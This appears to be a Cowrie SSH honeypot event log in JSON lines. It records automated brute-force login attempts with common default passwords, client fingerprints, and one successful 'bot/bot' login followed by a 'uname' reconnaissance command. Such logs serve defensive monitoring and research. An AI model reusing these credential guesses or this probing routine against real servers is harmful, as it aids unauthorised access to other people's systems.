{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:41.971324Z","src_ip":"162.243.147.237","session":"57ae632d6096","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"christian","message":"login attempt [root/christian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:42.284807Z","src_ip":"162.243.147.237","session":"57ae632d6096","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:43.167570Z","src_ip":"43.163.119.215","session":"387ab19bf58b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:43.357423Z","src_ip":"162.243.147.237","session":"57ae632d6096","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":44248,"dst_ip":"10.17.0.5","dst_port":22,"session":"611877c0d72a","protocol":"ssh","message":"New connection: 43.163.119.215:44248 (10.17.0.5:22) [session: 611877c0d72a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:52.685483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:52.689075Z","src_ip":"43.163.119.215","session":"611877c0d72a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:52.925471Z","src_ip":"43.163.119.215","session":"611877c0d72a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password","message":"login attempt [root/Password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:53.644242Z","src_ip":"43.163.119.215","session":"611877c0d72a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:54.883543Z","src_ip":"43.163.119.215","session":"611877c0d72a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.46.75","src_port":33096,"dst_ip":"159.203.135.109","dst_port":22,"session":"b78df68faf39","protocol":"ssh","message":"New connection: 43.153.46.75:33096 (159.203.135.109:22) [session: b78df68faf39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:56.293328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:56.297434Z","src_ip":"43.153.46.75","session":"b78df68faf39","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:56.368381Z","src_ip":"43.153.46.75","session":"b78df68faf39","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pv","message":"login attempt [root/pv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:56.669718Z","src_ip":"43.153.46.75","session":"b78df68faf39","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:57.740973Z","src_ip":"43.153.46.75","session":"b78df68faf39","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":54940,"dst_ip":"10.17.0.5","dst_port":22,"session":"22fa10136757","protocol":"ssh","message":"New connection: 43.163.119.215:54940 (10.17.0.5:22) [session: 22fa10136757]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:58.262620Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:58.266949Z","src_ip":"43.163.119.215","session":"22fa10136757","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:58.513074Z","src_ip":"43.163.119.215","session":"22fa10136757","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":34886,"dst_ip":"10.17.0.5","dst_port":22,"session":"bd26e23c132e","protocol":"ssh","message":"New connection: 43.163.119.215:34886 (10.17.0.5:22) [session: bd26e23c132e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:58.956614Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:58.960018Z","src_ip":"43.163.119.215","session":"bd26e23c132e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:59.196616Z","src_ip":"43.163.119.215","session":"bd26e23c132e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"bot","password":"bot","message":"login attempt [bot/bot] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:59.256727Z","src_ip":"43.163.119.215","session":"22fa10136757","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":52718,"dst_ip":"159.203.135.109","dst_port":22,"session":"9fd8e007617a","protocol":"ssh","message":"New connection: 103.75.199.4:52718 (159.203.135.109:22) [session: 9fd8e007617a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:59.363086Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:59.367539Z","src_ip":"103.75.199.4","session":"9fd8e007617a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:59.459512Z","src_ip":"103.75.199.4","session":"9fd8e007617a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":54950,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c98d5bf0e74","protocol":"ssh","message":"New connection: 43.163.119.215:54950 (10.17.0.5:22) [session: 8c98d5bf0e74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:59.726151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:59.730946Z","src_ip":"43.163.119.215","session":"8c98d5bf0e74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"rootroot","message":"login attempt [root/rootroot] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:59.735709Z","src_ip":"103.75.199.4","session":"9fd8e007617a","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:59.888246Z","src_ip":"43.163.119.215","session":"22fa10136757","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:59.890500Z","src_ip":"43.163.119.215","session":"22fa10136757","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"amir","password":"amir","message":"login attempt [amir/amir] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:59.908816Z","src_ip":"43.163.119.215","session":"bd26e23c132e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:18:59.968379Z","src_ip":"43.163.119.215","session":"8c98d5bf0e74","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:00.138699Z","src_ip":"43.163.119.215","session":"22fa10136757","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:00.144541Z","src_ip":"43.163.119.215","session":"22fa10136757","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"opc","message":"login attempt [opc/opc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:00.712237Z","src_ip":"43.163.119.215","session":"8c98d5bf0e74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:00.829441Z","src_ip":"103.75.199.4","session":"9fd8e007617a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:01.148345Z","src_ip":"43.163.119.215","session":"bd26e23c132e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:01.953089Z","src_ip":"43.163.119.215","session":"8c98d5bf0e74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":34902,"dst_ip":"10.17.0.5","dst_port":22,"session":"ac98d74231fc","protocol":"ssh","message":"New connection: 43.163.119.215:34902 (10.17.0.5:22) [session: ac98d74231fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:03.548696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:03.558469Z","src_ip":"43.163.119.215","session":"ac98d74231fc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:03.796623Z","src_ip":"43.163.119.215","session":"ac98d74231fc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@55w0rd","message":"login attempt [root/P@55w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:04.531932Z","src_ip":"43.163.119.215","session":"ac98d74231fc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"163.7.9.84","src_port":36212,"dst_ip":"10.17.0.5","dst_port":22,"session":"337071a39cde","protocol":"ssh","message":"New connection: 163.7.9.84:36212 (10.17.0.5:22) [session: 337071a39cde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:04.795928Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:19:04.800946Z","src_ip":"163.7.9.84","session":"337071a39cde","protocol":"ssh"}
